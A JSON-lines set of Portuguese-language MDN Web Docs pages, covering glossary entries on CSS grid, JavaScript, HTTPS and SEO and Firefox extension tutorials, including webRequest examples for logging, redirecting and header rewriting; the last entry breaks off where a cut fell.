{"title":"Grade - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Grade\n=====\n\nUma *grade no CSS* é definida usando o valor `grid` da propriedade `display`; você pode definir colunas e linhas na sua grade usando as propridades `grid-template-rows` e `grid-template-columns`.\n\nA grade que você define usando essas propriedades é descrita como uma *grade explícita*.\n\nSe você colocar o conteúdo fora dessa grade explícita ou se estiver utilizando o posicionamento automático e o algoritmo da grade precisar criar linhas ou colunas adicionais tracks (en-US) para manter grid items, então serão criadas faixas extras na grade implícita. A *grade implícita* é a grade criada automaticamente devido ao conteúdo adicionado fora das faixas definidas.\n\nNo exemplo abaixo, criamos uma *grade explícita* de três colunas e duas linhas. A terceira linha da grade é uma *faixa implícita de linha da grade*, formada por serem mais do que os seis os itens que preenchem as faixas explícitas.\n```\n\n\\* {\n  box-sizing: border-box;\n}\n\n.wrapper {\n  border: 2px solid #f76707;\n  border-radius: 5px;\n  background-color: #fff4e6;\n}\n\n.wrapper > div {\n  border: 2px solid #ffa94d;\n  border-radius: 5px;\n  background-color: #ffd8a8;\n  padding: 1em;\n  color: #d9480f;\n}\n```\n\n\n\n```css\n.wrapper {\n  display: grid;\n  grid-template-columns: 1fr 1fr 1fr;\n  grid-template-rows: 100px 100px;\n}\n```\n\n\n\n```html\n<div class=\"wrapper\">\n  <div>Um</div>\n  <div>dois</div>\n  <div>três</div>\n  <div>quatro</div>\n  <div>cinco</div>\n  <div>seis</div>\n  <div>sete</div>\n  <div>oito</div>\n</div>\n```\n\n\n1. CSS Grid Layout Guide:\n *Basic concepts of grid layout*\n2. Property reference\n    1. `grid-template-columns`\n    2. `grid-template-rows`\n    3. `grid`\n    4. `grid-template` (en-US)"}
{"title":"JavaScript - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"JavaScript\n==========\n\nSumário\n-------\n\nJavaScript (ou \"JS\") é uma linguagem de programação utilizada principalmente para scripts dinâmicos do lado do cliente em páginas web, podendo também ser utilizada no lado do servidor, usando um interpretador (em inglês: *runtime*) como o Node.js.\n\nO JavaScript **não deve** ser confundido com a linguagem de programação Java. Apesar de *\"Java\"* e *\"JavaScript\"* serem marcas comerciais (ou marcas registradas) da Oracle nos EUA e em outros países, essas duas linguagens de programação são significativamente diferentes em sintaxe, semântica e casos de uso.\n\nO JavaScript é utilizado principalmente no navegador, permitindo que os desenvolvedores manipulem o conteúdo de uma página web por meio do DOM, manipulem dados com o AJAX e o IndexedDB, desenhem gráficos com o canvas (en-US), interajam com o dispositivo que está executando o navegador através de várias APIs e muito mais. JavaScript é uma das linguagens mais utilizadas no mundo, devido ao recente crescimento e melhoria de desempenho das APIs disponíveis nos navegadores.\n\nOrigem e História\n-----------------\n\nConcebido como uma linguagem do lado do servidor por Brendan Eich (então empregado pela Netscape Corporation), o JavaScript logo chegou ao Netscape Navigator 2.0 em setembro de 1995. O JavaScript obteve sucesso imediato e o Internet Explorer 3.0 (en-US) introduziu o suporte ao JavaScript sob o nome JScript em agosto de 1996.\n\n Em novembro de 1996, a Netscape começou a trabalhar com a ECMA International para tornar o JavaScript um padrão do setor. Desde então, o JavaScript padronizado é chamado de\n ECMAScript e especificado sob a ECMA-262, cuja última edição (décima primeira, ES2020) está disponível desde junho de 2020.\n\nRecentemente, a popularidade do JavaScript se expandiu ainda mais através do bem-sucedido Node.js, o interpretador multiplataforma mais popular de ambiente de execução JavaScript fora do navegador. Node.js foi criado utilizando o V8 Javascript Engine permitindo que os desenvolvedores utilizem o JavaScript como linguagem de script para automatizar as coisas em um PC e criar servidores HTTP e WebSocket (en-US) totalmente funcionais.\n\nAprenda mais\n------------\n\n### Conhecimento geral\n\n* JavaScript no Wikipédia\n### Aprendendo JavaScript\n\n* Guia JavaScript no MDN\n* Workshop de JavaScript na NodeSchool\n* Curso em vídeo de JavaScript para iniciantes\n* Série \"You Don't Know JS\" - parcialmente traduzida para português\n* Conceitos que todo desenvolvedor JavaScript deveria saber na Udemy - nível intermediário\n* \"Learn JavaScript\" na codecademy.com\n### Referência técnica\n\n* Últimas padronizações do ECMAScript\n* [Referência JavaScript](/pt-BR/docs/Web/JavaScript/reference) no MDN\n* Eloquent JavaScript Segunda Edição"}
{"title":"Pseudo-class - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Pseudo-class\n============\n\nNo CSS, um seletor do tipo **pseudo-classe** referencia um elemento dependendo do seu estado e não de informações da arvore do documento. Por exemplo, o seletor a`:visited` aplica estilo somente aos links que o usuário já visitou\n\nSaiba mais\n----------\n\n### Referencia técnica\n\n* Documentação de pseudo-class"}
{"title":"HTTPS - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"HTTPS\n=====\n\n**HTTPS** (*HTTP Secure*) é uma versão do protocolo HTTP criptografado. É normalmente usado SSL (en-US) ou TLS para criptografar toda a comunicação entre um cliente e um servidor. Essa conexão segura permite aos clientes trocar com segurança dados confidenciais com o servidor, por exemplo, para atividades bancárias ou compras online.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* HTTPS na Wikipedia"}
{"title":"SEO - Otimização dos Mecanismos de Buscas - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"SEO - Otimização dos Mecanismos de Buscas\n=========================================\n\n**SEO** (Search Engine Optimization - Otimização dos Mecanismos de Pesquisa) é o processo de fazer com que um sítio fique mais visível nos resultados da procura, também denominado melhoramento na classificação da busca.\n\nOs mecanismos de pesquisa crawl (en-US) vasculham a *web* seguindo vínculos de uma página para outra (*link*) e listando os resultados encontrados. Quando se faz uma busca, o mecanismo de pesquisa exibe o conteúdo classificado. Os rastreadores seguem regras. Se você seguir essas regras, metodicamente, ao fazer uma SEO para um sítio, existirão melhores chances de que o mesmo apareça entre os primeiros resultados, aumentando o tráfego e as possibilidades de rendimentos (pelo comércio eletrônico e publicidade).\n\nOs motores de busca oferecem algumas diretrizes para SEO, mas os maiores deles mantém a classificação de resultados como um segredo comercial. A otimização - SEO - é uma combinação de orientações oficiais do mecanismo de pesquisa, conhecimento prático, entendimento de artigos científicos, ou patentes.\n\nOs métodos SEO dividem-se em três grandes classes:\n\ntécnico\n\nRotular o conteúdo usando semântica HTML. Ao explorar os sítios da *web* os rastreadores devem encontrar, apenas, o conteúdo que você quer indexado.\n\nautoria\n\nEscrever conteúdos utilizando o vocabulário dos visitantes. Empregar texto e imagens de forma que os rastreadores possam entender do que se trata.\n\npopularidade\n\nVocê consegue muito mais tráfego quando existem vínculos com outros sítios famosos.\n\nAprenda mais\n------------\n\n### Conhecimento Geral\n\n* SEO na Wikipedia\n### Aprenda SEO\n\n* Central *Webmaster* Google"}
{"title":"Propriedade (CSS) - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Propriedade (CSS)\n=================\n\nUma **propriedade CSS** é uma característica (como a cor) cujo valor define o aspecto de como o navegador deve exibir o elemento.\n\nAqui está um exemplo de uma regra do CSS:\n\n\n```css\n/\\* \"div\" é um seletor indicando que todos os elementos div \\*/\n/\\* no documento serão estilizados por essa regra \\*/\ndiv {\n  /\\* A propriedade \"color\" (cor) com o valor \"black\" (preto) indica que \\*/\n  /\\* todos os textos terão a cor preta \\*/\n  color: black;\n\n  /\\* A propredade \"background-color\" (cor de fundo) com o valor \"white\" \\*/\n  /\\* (branco) indica que a cor de fundo dos elementos será branca \\*/\n  background-color: white;\n}\n```\n\nSaiba Mais\n----------\n\n### Conhecimentos Gerais\n\n* Aprenda CSS\n### Referências Técnicas\n\n* A referencia sobre CSS no MDN\n* The CSS Working Group current work"}
{"title":"Propriedade (JavaScript) - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Propriedade (JavaScript)\n========================\n\nUma **propriedade Javascript** é uma característica de um objeto, frequentemente descrita como atributos associados à uma estrutura de dados.\n\nHá dois tipos de propriedades:\n\n* *Propriedades de instâncias* que contém informação específica para dada instância de objeto, e\n* *Propriedades estáticas* que contém informação compartilhada com todas as instâncias de objetos.\n\nUma propriedade tem nome (uma string) e um valor (primitivo, método (en-US) ou uma referência a um objeto (en-US)). Perceba que quando dizemos que \"uma propriedade contém um objeto\", é apenas um atalho para \"uma propriedade contém uma *referência* a um objeto\". Essa distinção é importante porque o objeto referenciado original continua inalterado quando você altera o valor da propriedade.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* Property (programming) on Wikipedia\n* Introdução a objetos em JavaScript"}
{"title":"Bloco (CSS) - Glossário do MDN Web Docs: Definições de termos relacionados à Web","text":"Bloco (CSS)\n===========\n\nUm **bloco** em uma página web é um elemento HTML que aparece em uma nova linha, Isto é, abaixo do elemento precedente em um modo de escrita horizontal e acima do elemento seguinte (comumente conhecido como um elemento de nível de bloco - *block-level element*). Por exemplo, `<p>` é por padrão um elemento em nível de bloco, enquanto `<a>` é um *elemento inline* — você pode colocar vários links próximos uns dos outros em seu HTML e eles ficarão na mesma linha como qualquer outro na saída renderizada.\n\nUsando a propriedade `display` você pode alterar a forma como um elemento é exibido, como inline ou como bloco (entre muitas outras opções); **blocos** também estão sujeitos aos efeitos de esquemas de posicionamento e uso da propriedade `position`.\n\nSaiba mais\n----------\n\n### Conhecimento geral\n\n* Modelo de formatação visual (en-US)"}
{"title":"Firefox - Mozilla","text":"Firefox\n=======\n\nO Firefox é um popular navegador de internet da Mozilla, disponível para várias plataformas como Windows, Mac OS X e Linux no desktop, bem como Android e iOS nos dispositivos móveis. Sendo altamente compatível com as últimas tecnologias web e poderosas ferramentas de desenvolvimento, o Firefox é um excelente navegador tanto para usuários comuns quanto desenvolvedores web.\n\nFirefox é um projeto de código aberto; muito do seu código vem de contribuições de uma gigantesca comunidade de voluntários. Aqui você irá aprender sobre como contribuir com o projeto Firefox, além de encontrar links para documentação sobre construção de add-ons do Firefox, uso de ferramentas do Firefox para desenvolvedores, entre outros.\n\nAprenda a criar complementos para Firefox, como desenvolver e compilar o Firefox, como funciona internamente o Firefox e subprojetos.\n\nNotas de lançamento para o desenvolvedor\n\nNotas de versão focada em desenvolvedores; aprenda quais são os novos recursos para ambos Web sites e add-on que chegam a cada versão do Firefox.\n\nDocumentação do projeto\n\nEncontre informações detalhadas sobre o funcionamento do Firefox e o seu sistema de versões, assim você poderá encontrar o seu caminho no código.\n\nGuia do desenvolvedor\n\nNosso guia para desenvolvedores provê tutoriais detalhados de como obter e compilar o código fonte do Firefox, como se encontrar, e como contribuir para o projeto.\n\nCanais Firefox\n--------------\n\nO Firefox está disponível em cinco **canais**.\n\n### Firefox Nightly\n\nA cada noite nós geramos uma *build* do Firefox com o código mais recente no mozilla-central. Estas *builds* são destinadas aos desenvolvedores do Firefox ou aqueles que procuram testar as mais recentes funcionalidades que ainda estão com desenvolvimento ativo.\n\nBaixar o Firefox Nightly\n\n### Firefox Developer Edition\n\nEsta é uma versão do Firefox feita para desenvolvedores. A cada seis semanas, nós pegamos as funcionalidades que estão no Firefox Nightly e são estáveis o suficiente e criamos uma nova versão do Firefox Developer Edition. Nós também adicionamos alguns recursos extras que estão disponíveis apenas neste canal.\n\nSaiba mais sobre o Firefox Developer Edition.\n\nBaixar o Firefox Developer Edition\n\n### Firefox Beta\n\nDepois de seis semanas no Firefox Developer Edition, nós pegamos as funcionalidades que estão estáveis o bastante, e criamos uma nova versão do Firefox Beta. As versões do Firefox Beta são para testadores entusiastas e está destinada a se tornar a proxima versão do Firefox.\n\nBaixar o Firefox Beta\n\n### Firefox\n\nApós estabilizar por outras seis semanas no Beta, nós estamos prontos para entregar as novas funcionalidades para centenas de milhões de usuários em uma nova versão do Firefox.\n\nBaixar o Firefox\n\n### Firefox Extended Support Release (ESR)\n\nFirefox ESR é uma edição de suporte de longo prazo do Firefox para desktop. Feito para ser usado em organizações como escolas, universidades, empresas e outras que necessitam de suporte extendido para distribuições em massa.\n\nSaiba mais sobre o Firefox Extended Support Release.\n\nBaixar o Firefox ESR\n\nPerfis Firefox\n--------------\n\nSe você está usando múltiplos canais Firefox—ou apenas múltiplas configurações—em uma base regular, você deve ler sobre como usar múltiplos perfis Firefox com o Firefox Profile Manager e outras ferramentas para gerenciamento de perfis de sua preferência."}
{"title":"Complementos - Mozilla","text":"Complementos\n============\n\nModifique e amplie os aplicativos da Mozilla\n**Complementos** acrescentam novas funcionalidades para os aplicativos baseados no Gecko tais como Firefox, SeaMonkey e Thunderbird. Há dois tipos de complementos principais Extensões adicionam novas características para o aplicativo, enquanto Temas modificam a interface do aplicativo do usuário.\n\nPara ambos, extensões e temas, a Mozilla opera o repositório em addons.mozilla.org, também conhecido como AMO. Quando você Envia complementos para o AMO eles são revisados e depois de passados na revisão, são disponibilizados aos usuários. Você não tem que enviar complementos para AMO, mas se enviar, os usuários terão mais confiança no fato de que eles foram revisados, e você pode se beneficiar da visibilidade AMO como uma fonte confiável para complementos úteis.\n\nO termo \"complemento\"(Add-ons) inclui plugins, extensões, temas, e plug-ins de mecanismos de busca (tal como google, bing, etc.).\n\nO Gerenciador de complementos pode afetar o comportamento do aplicativo que o hospeda. Nós desenvolvemos orientações de complementos para ajudar a garantir que eles proveriam uma boa experiência para os usuários. Estas orientações se aplicam em todos tipos de complementos, mesmo se eles são hospedados em addons.mozilla.org ou não.\n\nO Gerenciador de complementos dá acesso aos complementos a fim de determinar o que está disponível, instalar, remover, desativar e atualizar.\n\nExtensões\n---------\n\nExtensões adicionam novas funcionalidades para aplicativos da Mozilla como Firefox e Thunderbird. Eles podem adicionar novos recursos ao navegador, como um jeito diferente de gerenciar as abas, e eles podem modificar o conteúdo da web para aperfeiçoar a usabilidade ou segurança sites específicos.\n\nHá três tipos de técnicas diferentes que você pode utilizar para construir uma extensão: Add-on baseado em extensões SDK, extensões *restartless* inicializadas manualmente e extensões overlay.\n\n* Desenvolva extensões que não requer a reinicialização do navegador utilizando um conjunto JavaScript APIs de alto nível.\n* Extensões *Restartless*\n Desenvolva extensões que não requer a reinicialização do navegador.\n* Extensões Overlay\n Extensões que requerem a reinicialização do navegador para instalar, geralmente usando overlays XUL.\n\nSe você puder, é aconselhável utilizar o Add-on SDK, que usa o mecanismo de extensão restartless mas simplifica determinadas tarefas e limpa depois de si mesmo. Se o Add-on SDK não é suficiente para as suas necessidades, implemente uma extensão restartless manual no lugar.\n\nPara obter mais informações sobre como escolher qual a técnica de usar, leia esta comparação.\n\n### Práticas Recomendadas\n\nNão importa como você desenvolve uma extensão, existem algumas orientações que você pode seguir para ajudar a garantir que sua extensão fornece uma experiência tão boa para o usuário o quão possível.\n\nDesempenho\n\nAssegurando que sua extensão é rápida, responsiva e eficiente para a memória.\n\nSegurança\n\nAssegurando que sua extensão não exponha o usuário para websites maliciosos.\n\nEtiqueta\n\nAssegurando que sua extensão funcione bem com outras extensões.\n\n### Aplicativo específico\n\nA maioria das documentações assume que você está desenvolvendo para o Firefox Desktop. Se você está desenvolvendo para algum outro aplicativo baseado no Gecko, há diferenças importantes que você precisa saber sobre.\n\nThunderbird\n\nDesenvolvendo extensões para o Thunderbird mail client.\n\nFirefox para Android\n\nDesenvolvendo extensões para Firefox para Android.\n\nSeaMonkey\n\nDesenvolvendo extensões para SeaMonkey suíte de software.\n\nTemas\n-----\n\nOs temas são add-ons que personalizam a IU do aplicativo. Existem dois tipos de temas: temas leves e temas completos.\n\nTemas Leves são muito mais simples de implementar do que temas completos, mas fornece a personalização muito limitada.\n\nCom Temas Completos você pode fazer modificações mais profundas na IU. A documentação para temas completos é fora da data, mas está ligada a aqui como uma possível base para a documentação atualizada.\n\nOutros tipos de complementos\n----------------------------\n\nPlugins de Search Engine são um tipo simples e muito específico de add-on: eles adicionam novos mecanismos de busca para barra de pesquisa do navegador.\n\nPlugins (en-US) ajuda a aplicação a entender o conteúdo web que não é suportado nativamente. Plugins NPAPI são uma tecnologia antiga e os novos sites não devem usá-las. Em geral, os plugins não estão disponíveis na maioria dos sistemas móveis modernos, e os sites devem evitar usar plugins."}
{"title":"Extensões do navegador - Mozilla","text":"Extensões do navegador\n======================\n\nExtensões são capazes de extender e modificar a capacidade de um navegador. As extensões para Firefox são criadas usando a API WebExtensions, um sistema comum a vários navegadores para desenvolvimento de extensões. Em grande parte, o sistema é compatível com a API de extensões suportada pelo Google Chrome, Opera e W3C Draft Community Group.\n\nExtensões escritas para esses navegadores na maioria dos casos vão funcionar no Firefox ou Microsoft Edge com apenas algumas alterações. A API é também totalmente compatível com o multiprocessamento do Firefox.\n\nSe você tem dúvidas ou sugestões, ou precisa de ajuda para migrar um complemento legado para usar APIs WebExtensions, pode entrar em contato conosco pela newsletter de desenvolvimento de complementos ou #webextensions no IRC.\n\n### Começando\n\n* O que é uma extensão\n* Sua primeira extensão\n* Sua segunda extensão\n* Anatomia de uma extensão\n* Extensões de exemplo\n* E depois?\n### Conceitos\n\n* Visão geral da API JavaScript\n* Scripts de conteúdo\n* Padrões de correspondência\n* Trabalhando com arquivos\n* Internacionalização\n* Melhores práticas de segurança\n* Política de segurança de conteúdo\n* Troca de mensagens nativa\n* Usando as APIs devtools\n* Melhores práticas de experiência do usuário\n* Manifestos nativos\n### Interface do usuário\n\n* Introdução\n* Botão na barra de ferramenta\n* Botão na barra de ferramenta com um popup\n* Botão na barra de endereços\n* Botão na barra de endereços com um popup\n* Itens de menu de contexto\n* Painéis laterais\n* Página de opções\n* Páginas da extensão\n* Notificação\n* Sugestões na barra de endereços\n* Painéis na ferramenta do desenvolvedor\n### Como\n\n* Interceptar solicitações HTTP\n* Modificar uma página da web\n* Adicionar um botão na barra de ferramenta\n* Implementar uma página de configurações\n* Interagir com a área de transferência\n* Trabalhar com a API de abas\n* Trabalhar com a API de favoritos\n* Trabalhar com a API de cookies\n* Trabalhar com identidades contextuais\n* Inserir conteúdo externo\n### Portabilidade\n\n* Portando uma extensão do Google Chrome\n* Portando uma extensão legada do Firefox\n* Desenvolvendo para o Firefox para Android\n* WebExtensions incorporadas\n* Comparação com Add-on SDK\n* Comparação com extensões XUL/XPCOM\n* Incompatibilidades com Chrome\n* Diferenças entre desktop e Android\n### Fluxo de trabalho do Firefox\n\n* Experiência do usuário\n* Instalando\n* Depurando\n* Testando funcionalidades de persistência e reinicialização\n* Começando com web-ext\n* Referência de comandos web-ext\n* Extensões e ID de complementos\n* Opções de distribuição alternativas\n* Solicitando as permissões corretas\n* Compartilhando objetos com scripts de páginas\n* Publicando sua extensão\n* Descontinuando sua extensão\n* Dicas e truques\n### Referências\n\n#### APIs JavaScript\n\n* Visão geral da API JavaScript\n* Tabelas de compatibilidade de navegadores com APIs JavaScript\n\n#### Chaves do Manifest\n\n* Visão geral do manifest.json\n* Compatibilidade de navegadores com manifest.json\n* action\n* author\n* background\n* browser\\_action\n* browser\\_specific\\_settings\n* chrome\\_settings\\_overrides\n* chrome\\_url\\_overrides\n* commands\n* content\\_scripts\n* content\\_security\\_policy\n* declarative\\_net\\_request\n* default\\_locale\n* description\n* developer\n* devtools\\_page\n* dictionaries\n* externally\\_connectable\n* homepage\\_url\n* host\\_permissions\n* icons\n* incognito\n* manifest\\_version\n* name\n* offline\\_enabled\n* omnibox\n* optional\\_permissions\n* options\\_page\n* options\\_ui\n* page\\_action\n* permissions\n* protocol\\_handlers\n* short\\_name\n* sidebar\\_action\n* storage\n* theme\n* theme\\_experiment\n* user\\_scripts\n* version\n* version\\_name\n* web\\_accessible\\_resources"}
{"title":"Interceptando requisições HTTP - Mozilla","text":"Interceptando requisições HTTP\n==============================\n\nPara interceptar uma requisição HTTP, utilize a API `webRequest` (en-US). Esta API permite adicionar listeners para vários estágios de uma requisição HTTP. Nos listeners, você pode:\n\n* ter acesso ao cabeçalho e o corpo da requisição e, o cabeçalho da resposta\n* cancelar e redirecionar requisições\n* modificar requisições e o cabeçalho da resposta\n\nNeste artigo você verá três diferentes usos para o módulo `webRequest`:\n\n* Logando como as URLs da requisição são feitas.\n* Redirecionando requisições.\n* Modificando os cabeçalhos da requisição.\nLogando URLs de requisição\n--------------------------\n\nCrie um novo diretório chamado \"requests\". Neste diretório, crie um arquivo chamado \"manifest.json\" com seguinte conteúdo:\n\n\n```json\n{\n  \"description\": \"Demonstrating webRequests\",\n  \"manifest\\_version\": 2,\n  \"name\": \"webRequest-demo\",\n  \"version\": \"1.0\",\n\n  \"permissions\": [\"webRequest\", \"<all\\_urls>\"],\n\n  \"background\": {\n    \"scripts\": [\"background.js\"]\n  }\n}\n```\n\n\nA seguir, crie um arquivo chamado\"background.js\" com o seguinte conteúdo:\n\n\n```js\nfunction logURL(requestDetails) {\n  console.log(\"Loading: \" + requestDetails.url);\n}\n\nbrowser.webRequest.onBeforeRequest.addListener(logURL, {\n  urls: [\"<all\\_urls>\"],\n});\n```\n\n\nAqui vamos usar `onBeforeRequest` (en-US) para chamar a função `logURL()` antes do inicio da requisição. A função `logURL()` guarda a URL da requisição para o objeto event e efetua log no console do navegador. O padrão `{urls: [\"<all_urls>\"]}` significa que iremos interceptar as requisições HTTP para todas URLs.\n\nPara testá-lo, instale a extensão, abra o console do navegador, e abra alguma página da internet. No console do navegador você pode ver as URLs para alguns recursos que o navegador requisita:\n\nRedirecionando requisições\n--------------------------\n\nAgora vamos usar o `webRequest` para redirecionar requisições HTTP. Primeiro, substitua o manifest.json com o seguinte conteúdo:\n\n\n```json\n{\n  \"description\": \"Demonstrating webRequests\",\n  \"manifest\\_version\": 2,\n  \"name\": \"webRequest-demo\",\n  \"version\": \"1.0\",\n\n  \"permissions\": [\n    \"webRequest\",\n    \"webRequestBlocking\",\n    \"https://developer.mozilla.org/\",\n    \"https://mdn.mozillademos.org/\"\n  ],\n\n  \"background\": {\n    \"scripts\": [\"background.js\"]\n  }\n}\n```\n\n\nA única alteração aqui é a adição da permissão `\"webRequestBlocking\"`. Precisamos invocar esta permissão extra toda vez que estamos ativamente modificando a requisição.\n\nA seguir, substitua o \"background.js\" com o seguinte conteúdo:\n\n\n```js\nvar pattern = \"https://mdn.mozillademos.org/\\*\";\n\nfunction redirect(requestDetails) {\n  console.log(\"Redirecting: \" + requestDetails.url);\n  return {\n    redirectUrl:\n      \"https://38.media.tumblr.com/tumblr\\_ldbj01lZiP1qe0eclo1\\_500.gif\",\n  };\n}\n\nbrowser.webRequest.onBeforeRequest.addListener(\n  redirect,\n  { urls: [pattern], types: [\"image\"] },\n  [\"blocking\"],\n);\n```\n\n\nNovamente vamos usar event listener `onBeforeRequest` (en-US) apenas para executar a função antes que cada requisição seja feita. Está função irá substituir a URL desejada com o `redirectUrl` especificado na função.\n\nDesta vez não estamos interceptando cada requisição: a opção `{urls:[pattern], types:[\"image\"]}` especifica apenas o que deveria interceptar requisições(1) para URLs residindo sob o \"https://mdn.mozillademos.org/\" (2) para o recurso de imagens. Veja mais em `webRequest.RequestFilter` (en-US).\n\nObserve também que estamos passando uma opção chamada `\"blocking\"`: precisamos informá-la toda vez que desejamos modificar a requisição. Isto faz com que a função bloqueie a requisição de rede, então o navegador espera pelo event listener retornar antes de continuar. Veja a documentação `webRequest.onBeforeRequest` (en-US) para mais no `\"blocking\"`.\n\nTeste abrindo uma página no MDN que possua muitas imagens (por exemplo https://developer.mozilla.org/pt-BR/docs/Tools/Network\\_Monitor), recarregue a extensão e então recarregue a página:\n\nModificando os cabeçalhos da requisição\n---------------------------------------\n\nFinalmente iremos utilizar `webRequest` para modificar os cabeçalhos da requisição. Neste example iremos modificar o cabeçalho \"User-Agent\" que identifica o navegador como Opera 12.16, mas apenas quando visitamos páginas sob \"http://useragentstring.com/\".\n\nO \"manifest.json\" pode permanecer do mesmo jeito.\n\nModifique o \"background.js\" com este código:\n\n\n```js\nvar targetPage = \"http://useragentstring.com/\\*\";\n\nvar ua =\n  \"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16\";\n\nfunction rewriteUserAgentHeader(e) {\n  e.requestHeaders.forEach(function (header) {\n    if (header.name.toLowerCase() == \"user-agent\") {\n      header.value = ua;\n    }\n  });\n  return { requestHeaders: e.requestHeaders };\n}\n\nbrowser.webRequest.onBeforeSendHeaders.addListener(\n  rewriteUserAgentHeader,\n  { urls: [targetPage] },\n  [\"blocking\", \"requestHeaders\"],\n);\n```\n\n\nAqui vamos usar event listener `onBeforeSendHeaders` (en-US) para executar a função somente quando os cabeçalhos forem enviados.\n\nO event listener será chamada somente para requisitar as URLs que batem com o padrão. Observe também que passamos novamente `\"blocking\"` como uma opção. Passamos também `\"requestHeaders\"`, que significa que o listener será passado como um array contendo os cabeçalhos da requisição que desejamos enviar. Veja `webRequest.onBeforeSendHeaders` (en-US) para mais informações dessas opções.\n\nA função listener procura pelo cabeçalho \"User-Agent\" no array de cabeçalhos da requisição, substitui seu valor com o valor `ua` da variável, e retorna o array modificado. Este array modificado será agora enviado para o servidor.\n\nTeste abrindo useragentstring.com e veja como ele identifica o navegador como sendo o Firefox. Então, recarregue a extensão, recarregue também o useragentstring.com e veja que agora o Firefox é identificado como Opera:\n\nAprenda mais\n------------\n\nPara aprender sobre todas as coisas que você pode fazer com a API `webRequest`, veja sua documentação de referência."}
{"title":"Sua primeira extensão - Mozilla","text":"Sua primeira extensão\n=====================\n\nNeste artigo vamos percorrer, do início ao fim, os passos necessários para a criação de uma extensão para o Firefox. A extensão apenas adicionará uma borda vermelha em todas as páginas carregadas em \"mozilla.org\" ou qualquer um de seus subdomínios.\n\nO código fonte para este exemplo está no GitHub: https://github.com/mdn/webextensions-examples/tree/master/borderify.\n\nPara começar, você precisará do Firefox versão 45 ou posterior.\n\nConstruindo a Extensão\n----------------------\n\nCrie uma nova pasta dando o nome de \"borderify\" e navegue para dentro dela.\n\n\n```bash\nmkdir borderify\ncd borderify\n```\n\n### manifest.json\n\nDentro dessa pasta crie um novo arquivo chamado \"manifest.json\" e coloque o seguinte conteúdo no arquivo:\n\n\n```json\n{\n  \"manifest\\_version\": 2,\n  \"name\": \"Borderify\",\n  \"version\": \"1.0\",\n\n  \"description\": \"Adiciona uma borda vermelha a todas as páginas da Web correspondentes a mozilla.org.\",\n\n  \"icons\": {\n    \"48\": \"icons/border-48.png\"\n  },\n\n  \"content\\_scripts\": [\n    {\n      \"matches\": [\"\\*://\\*.mozilla.org/\\*\"],\n      \"js\": [\"borderify.js\"]\n    }\n  ]\n}\n```\n\n\n* As primeiras tres chaves: `manifest_version`, `name`, e `version`, são obrigatórias e contém os metadados básicos sobre a extensão.\n* `description` é opcional contudo é recomendada pois aparece no gerenciador de complementos.\n* `icons` é opcional porém recomendada pois define os ícones que aparecem no gerenciador de complementos.\n\nA chave mais interessante aqui é `content_scripts`, que diz ao Firefox para carregar um script em páginas da Web cujo URL corresponde a um padrão específico. Nesse caso, pedimos ao Firefox para carregar um script chamado \"borderify.js\" em todas as páginas HTTP ou HTTPS oriundas de \"mozilla.org\" ou em qualquer um de seus subdomínios.\n\n* Saiba mais sobre scripts de conteúdo.\n* Saiba mais sobre padrões de correspondência.\n\n**Aviso:** Em algumas situações, você precisa especificar uma ID para sua extensão. Se você precisar especificar um ID de extensão, inclua a chave `applications` no `manifest.json` e configure sua propriedade `id`:\n\n\n```json\n\"applications\": {\n  \"gecko\": {\n    \"id\": \"borderify@example.com\"\n  }\n}\n```\n\n\n### icons/border-48.png\n\nA extensão deve ter um ícone. Ele será mostrado ao lado da listagem de extensões no Gerenciador de Extensões. Nosso manifest.json indica que teríamos um ícone localizado na pasta \"icons/border-48.png\".\n\nCrie o diretório \"icons\" diretamente sob o diretório \"borderify\". Salve um ícone chamado \"border-48.png\". Você pode usar o icone do nosso exemplo, que foi retirado a coleção de ícone do Google Material Design, e é utilizado sob os termos da licença Creative Commons Attribution-ShareAlike.\n\nSe você escolher criar seu próprio ícone, deve ser 48x48 pixels formato .PNG e também deve criar um ícone de 96x96 pixels também .PNG, para telas de alta resolução, e se você fizer isso será especificado como a propriedade 96 do objeto icons em manifest.json:\n\n\n```json\n\"icons\": {\n  \"48\": \"icons/border-48.png\",\n  \"96\": \"icons/border-96.png\"\n}\n```\n\n\nComo alternativa, você pode criar um ícone em formato SVG e ele será dimensionado corretamente.\n\n* Saiba mais sobre como especificar ícones.\n### borderify.js\n\nFinalmente, crie um arquivo chamado \"borderify.js\" diretamente dentro do diretório \"borderify\" com o seguinte conteúdo:\n\n\n```js\ndocument.body.style.border = \"5px solid red\";\n```\n\n\nEste script será carregado nas páginas que correspondem ao padrão especificado na chave `content_scripts` do manifest.json. O script tem acesso direto ao documento, igual aos scripts carregados pela própria página.\n\n* Saiba mais sobre scripts de conteúdo.\nTestando\n--------\n\nPrimeiro, verifique se você está com os arquivos corretos nos lugares certos:\n```\n\nborderify/\n    icons/\n        border-48.png\n    borderify.js\n    manifest.json\n```\n\n### Instalando\n\nAcesse a área de Debugging do Firefox digitando diretamente na barra de endereço: \"about:debugging\", clique na opção \"Este Firefox\", em seguida clique em \"Carregar extensão temporária\", então selecione qualquer arquivo da sua pasta de extensões.\n\nA Extensão agora será instalada e ficará assim até que você reinicie o Firefox.\n\nComo alternativa, você pode executar a extensão a partir da linha de comando usando a ferramenta web-ext.\n\n### Testando\n\nAgora visite uma página em \"mozilla.org\" e você deve ver uma borda vermelha em volta da página:\n\n![Border displayed on mozilla.org](/pt-BR/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension/border_on_mozilla_org.png)\n\n**Nota:** Não tente acessar addons.mozilla.org! Os scripts de conteúdo são bloqueados nesse domínio.\n\nExperimente um pouco. Edite o script de conteúdo para alterar a cor da borda ou faça outra coisa com o conteúdo da página. Salve o script de conteúdo e, em seguida, recarregue os arquivos da extensão clicando no botão \"Reload\" em about:debugging. Você poderá ver as mudanças imediatamente:\n\n* Saiba mais sobre o carregamento de extensões\nEmpacotando e publicando\n------------------------\n\nPara que outras pessoas usem seu complemento, você precisa compactá-lo e enviá-lo para a Mozilla para assinatura. Para saber mais sobre isso, consulte \"Publicando sua Extensão\" 